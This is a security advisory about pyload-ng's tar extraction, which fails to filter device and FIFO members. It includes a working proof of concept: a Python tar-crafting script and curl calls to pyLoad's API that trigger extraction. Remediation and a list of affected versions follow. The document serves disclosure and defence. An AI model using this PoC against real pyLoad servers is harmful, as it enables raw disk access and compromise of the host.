pyload-ng: pyLoad: Tar extraction creates device nodes and FIFOs (member types not filtered; tarfile extractall without filter=)
What fixes it
No source in this snapshot names a fixed version. The vendor advisories under References are the place to check.
Description
Summary
UnTar._safe_extractall — the hardening added for GHSA-mvwx-582f-56r7 — validates member names and symlink/hardlink targets, but never checks member types, and calls tarfile.extractall without a filter=. On Python < 3.14 the default extraction filter is fully_trusted, so a crafted tar containing device or FIFO entries makes pyLoad create them on disk. When pyLoad runs as root (the official Docker deployment), a block-device member grants raw disk access — full host compromise — reachable by any low-privileged user who can trigger archive extraction (ADD to supply an archive, STATUS to invoke ExtractArchive.extract_package).
Details
# plugins/extractors/UnTar.py:69-79
for member in tar.getmembers():
if not is_within_directory(...) or <symlink/hardlink target checks>: # names/links only
raise ArchiveError(...)
tar.extractall(path, members, numeric_owner=numeric_owner) # no filter=No member.isdev() / ischr() / isblk() / isfifo() check exists, and the pre-validation in plugins/base/extractor.py:191-263 is likewise name-only. Python's tarfile only defaults to a safe filter in 3.14; supported runtimes (3.9–3.13) honor mknod for euid=0 and create FIFOs for any euid.
PoC
BASE=http://127.0.0.1:8100
# craft a tar with: regular marker.txt + a CHRTYPE member (major=1,minor=3) + a FIFOTYPE member
python3 - <<'EOF'
import tarfile, io
t = tarfile.open('dev.bin','w') # name it *.bin so UnTar (content-sniffed) claims it
t.addfile(tarfile.TarInfo('marker.txt'), io.BytesIO(b'MARKER'))
i = tarfile.TarInfo('nulldev'); i.type = tarfile.CHRTYPE; i.devmajor=1; i.devminor=3; i.mode=0o666
t.addfile(i)
f = tarfile.TarInfo('pipe'); f.type = tarfile.FIFOTYPE
t.addfile(f); t.close()
EOF
# as a low-priv user (ADD|STATUS): add a package, place the archive in its download folder,
# then trigger extraction
curl -s -X POST "$BASE/api/add_package" -b ed.jar -H "X-CSRFToken: $T" \
-H 'Content-Type: application/json' -d '{"name":"poc","links":["http://x/dev.bin"],"dest":1}'
curl -s -X POST "$BASE/api/service_call" -b ed.jar -H "X-CSRFToken: $T" \
-H 'Content-Type: application/json' \
-d '{"service_name":"ExtractArchive.extract_package","arguments":["<pid>"]}'
ls -l <extract dir>
# → crw-rw-rw- 1 root root 1, 3 nulldev (character device created)
# → prw-r--r-- 1 root root pipe (FIFO created)
# → -rw-r--r-- 1 root root marker.txtNegative control: the same flow with a ../evil traversal member is rejected (ArchiveError: Attempted path traversal in archive) and nothing is extracted — the GHSA-mvwx name filter works; the gap is member-type-specific. (Note: when the 7z binary is present, .tar-named files are claimed by SevenZip first by extension; the UnTar path is reached via non-mapped names — as above — content-sniffed containers, or when 7z is absent/fails.)
Impact
With pyLoad as root, a crafted archive can create block/character device nodes at arbitrary paths (raw disk read/write → host compromise), plant FIFOs (process hangs, IPC confusion), or set special bits; non-root deployments still get FIFOs and node entries in user-accessible trees.
Remediation
In _safe_extractall, reject (or skip) every member that is not a regular file, directory, or safe link — e.g. member.isdev() or isfifo() → ArchiveError — and pass filter="data" (Python ≥ 3.12 supports it; backport the check for older runtimes). Apply the same member-type validation in the pre-extraction validator so all extractors share it.
References
- GHSA-mvwx-582f-56r7 — the tar path-traversal fix this extends (names/links validated,
member types not).
Text from GitHub Advisory Database
Affected versions 52
- pyload-ng, pip<= 0.5.0b3.dev101GitHub
- pyload-ng, PyPIfrom first release, through 0.5.0b3.dev101OSV
- pyload-ng, PyPI0.5.0a5.dev528OSV
- pyload-ng, PyPI0.5.0a5.dev532OSV
- pyload-ng, PyPI0.5.0a5.dev535OSV
- pyload-ng, PyPI0.5.0a5.dev536OSV
- pyload-ng, PyPI0.5.0a5.dev537OSV
- pyload-ng, PyPI0.5.0a5.dev539OSV
- pyload-ng, PyPI0.5.0a5.dev540OSV
- pyload-ng, PyPI0.5.0a5.dev545OSV
- pyload-ng, PyPI0.5.0a5.dev562OSV
- pyload-ng, PyPI0.5.0a5.dev564OSV
- pyload-ng, PyPI0.5.0a5.dev565OSV
- pyload-ng, PyPI0.5.0a6.dev570OSV
- pyload-ng, PyPI0.5.0a6.dev578OSV
- pyload-ng, PyPI0.5.0a6.dev587OSV
- pyload-ng, PyPI0.5.0a7.dev596OSV
- pyload-ng, PyPI0.5.0a8.dev602OSV
- pyload-ng, PyPI0.5.0a9.dev615OSV
- pyload-ng, PyPI0.5.0a9.dev629OSV
- pyload-ng, PyPI0.5.0a9.dev632OSV
- pyload-ng, PyPI0.5.0a9.dev641OSV
- pyload-ng, PyPI0.5.0a9.dev643OSV
- pyload-ng, PyPI0.5.0a9.dev655OSV
- pyload-ng, PyPI0.5.0a9.dev806OSV
- pyload-ng, PyPI0.5.0b1.dev1OSV
- pyload-ng, PyPI0.5.0b1.dev2OSV
- pyload-ng, PyPI0.5.0b1.dev3OSV
- pyload-ng, PyPI0.5.0b1.dev4OSV
- pyload-ng, PyPI0.5.0b1.dev5OSV
- pyload-ng, PyPI0.5.0b2.dev10OSV
- pyload-ng, PyPI0.5.0b2.dev11OSV
- pyload-ng, PyPI0.5.0b2.dev12OSV
- pyload-ng, PyPI0.5.0b2.dev9OSV
- pyload-ng, PyPI0.5.0b3.dev100OSV
- pyload-ng, PyPI0.5.0b3.dev101OSV
- pyload-ng, PyPI0.5.0b3.dev13OSV
- pyload-ng, PyPI0.5.0b3.dev14OSV
- pyload-ng, PyPI0.5.0b3.dev17OSV
- pyload-ng, PyPI0.5.0b3.dev18OSV
- pyload-ng, PyPI0.5.0b3.dev19OSV
- pyload-ng, PyPI0.5.0b3.dev20OSV
- pyload-ng, PyPI0.5.0b3.dev21OSV
- pyload-ng, PyPI0.5.0b3.dev22OSV
- pyload-ng, PyPI0.5.0b3.dev24OSV
- pyload-ng, PyPI0.5.0b3.dev26OSV
- pyload-ng, PyPI0.5.0b3.dev27OSV
- pyload-ng, PyPI0.5.0b3.dev28OSV
- pyload-ng, PyPI0.5.0b3.dev29OSV
- pyload-ng, PyPI0.5.0b3.dev30OSV
- pyload-ng, PyPI0.5.0b3.dev31OSV
- pyload-ng, PyPI0.5.0b3.dev32OSV